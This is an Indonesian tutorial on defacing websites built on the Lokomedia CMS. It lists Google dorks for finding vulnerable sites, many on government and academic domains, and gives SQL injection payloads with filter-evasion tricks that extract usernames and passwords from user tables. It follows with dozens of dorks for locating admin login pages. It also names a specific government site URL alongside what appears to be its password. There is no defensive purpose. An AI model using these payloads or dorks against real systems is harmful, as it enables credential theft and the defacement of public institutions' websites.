Cara Deface Dengan CMS Lokomedia

 

 

  BAB 1

    Bahan :

    1. Dork :

    inurl:statis-1-profil.html
        inurl:statis-2-profil.html
        inurl:statis-3-strukturorganisasi.html

intext:lokomedia inurl:statis- ext:html
intext:lokomedia inurl:kategori- 6 - .html
intext:lokomedia inurl:semua- ext:html
inurl:kategori-32-daerah.html site:.com

        intext:lokomedia inurl:statis- ext:html
        intext:lokomedia inurl:semua- ext:html
        intext:lokomedia inurl:hubungi- ext:html
        intext:lokomedia inurl:kategori- ext:html
        intext:lokomedia inurl:berita- ext:html

inurl:go.id inurl:statis- ext:html
inurl:ac.id inurl:statis- ext:html
inurl:com inurl:statis- ext:html
  
          inurl:go.id inurl:kategori- ext:html
          inurl:ac.id inurl:kategori- ext:html
          inurl:com inurl:kategori- ext:html



 2. Exploit SQLi (SQL Injection) :
                               
a. 'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+
                                         
b. ' and %40x%3A%3Dconcat%2F**_**%2F((select(@x)from(select(@x:=0x00),(select(0)from(sh_users)where(0x00)in(@x:=concat+(@x,0x3c62723e,s_username,0x203a3a20,sandiusers))))x)) /*!50000union*/ /*!50000select*/ 1,@x,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+
                              kategori
c. 'union%20select%20/*!50000Concat*/(username,0x20,password)+from+users--+--
                         statis 
d. 'union%20select%20/*!50000Concat*/(username,0x20,password)+from+users--+--+

     'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+


inurl:/semua-berita.html site:org Total Pengunjung Hari Ini
 3. Admin page Login Google Dork

http://dinpertan.grobogan.go.id/dinas/index.php
kotasemarang2016

             intittle:adminstration login lokomedia site:go.id
intitle:.:: Administrator -  Website ::. intext:LOGIN ADMINISTRATOR site:.ac.id
             intittle:Administrator CMS Lokomedia
             intittle:..::: Login Anggota :::..
             intitle:.:: HALAMAN ADMINISTRATOR ::.
             intittle:..::: Login Elearning :::..
             intittle:..::: Login Administrator :::.. site:go.id
             intittle:.:: Login Adminstration ::. site:go.id
             intittle:..::: Login Sistem ::.. site:go.id
             intittle:.:: ADMINISTRATOR LOGIN ::. site:go.id
             intittle:adminstration > login site:go.id
              intittle:adminstration > Website site:go.id
              intitle:Panel Administrator

         inur:.com/adminweb "Username"
        inur:.org/adminweb "Username"
        inur:.net/adminweb "Username"
        inur:.go.id/adminweb "Username"
        inur:.desa.id/adminweb "Username"
        inur:.co.id/adminweb "Username"
        inur:.web.id/adminweb "Username"
        inur:/adminweb "Username"

inurl:/adminweb/login intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/redaktur/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/administrator/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/adminpanel/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/login@web/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/dinkesadmin/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/login@web/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/operator/ inurl:/user/ intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/redaksi/index.php intittle:..::: Login Administrator :::.. intext:LOGIN ADMINISTRATOR
inurl:/ketua/login.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/cp-admin/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/rahasia/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/rahasia/login.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/master/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/master/login.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/user/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/terasadmin/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/adminpmb/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/system/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/webadmin/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/wpanel/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/adminkec/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/admindesa/index.php intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/adminkota intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/admin123/ intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
inurl:/logout/ intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR
 inurl:/adminweb_setting180114 intittle:..::: Login Administrator :::..  intext:LOGIN ADMINISTRATOR





                         inurl:media.php?module=home
                         inurl:/adminweb intext:Selamat Datang Di Halaman Administrator

     inurl:foto_info
     inurl:foto_produk intext:shop
     inurl:foto_banner intext:shop
     inurl:foto_berita intext:shop
     inurl:foto_user intext:shop
     inurl:/adminweb/login "Halaman Login"

         inurl:content.php?module=banner
          inurl:content.php?module=user
         inurl:content.php?module=berita
         inurl:content.php?module=iklan
         inurl:content.php?module=produk
             
                     inurl:/adminweb/login
                   inurl:/redaktur/
                   inurl:/redakturweb/
                    inurl:/administrator/
                inurl:/login@web/
                inurl:/adminpanel/
                inurl:/dinkesadmin/
                inurl:/user/
                inurl:/operator/
                inurl:/sika/
                     inurl:/admin123/login.php
                     inurl:/master/index.php
                    inurl:/master/login.php
                    inurl:/develop/
                     inurl:/paneladmin/
                    inurl:/redaksi/index.php
                inurl:/ketua/login.php
                inurl:/cp-admin/index.php
                inurl:/rahasia/index.php
                inurl:/rahasia/login.php
                inurl:/rahasia/admin.php
                inurl:/master/index.php
                inurl:/master/login.php
                inurl:/user/index.php
                inurl:/users/index.php
                 inurl:/terasadmin/index.php
                    inurl:/adminpmb/index.php
                    inurl:/system/index.php
                    inurl:/webadmin/index.php
                    inurl:/wpanel/index.php
     inurl:/adminkec/index.php
     inurl:/admindesa/index.php
     inurl:/admindesa/
     inurl:/adminkota
     inurl:/admin123/
     inurl:/logout/
     inurl:/adminweb_setting180114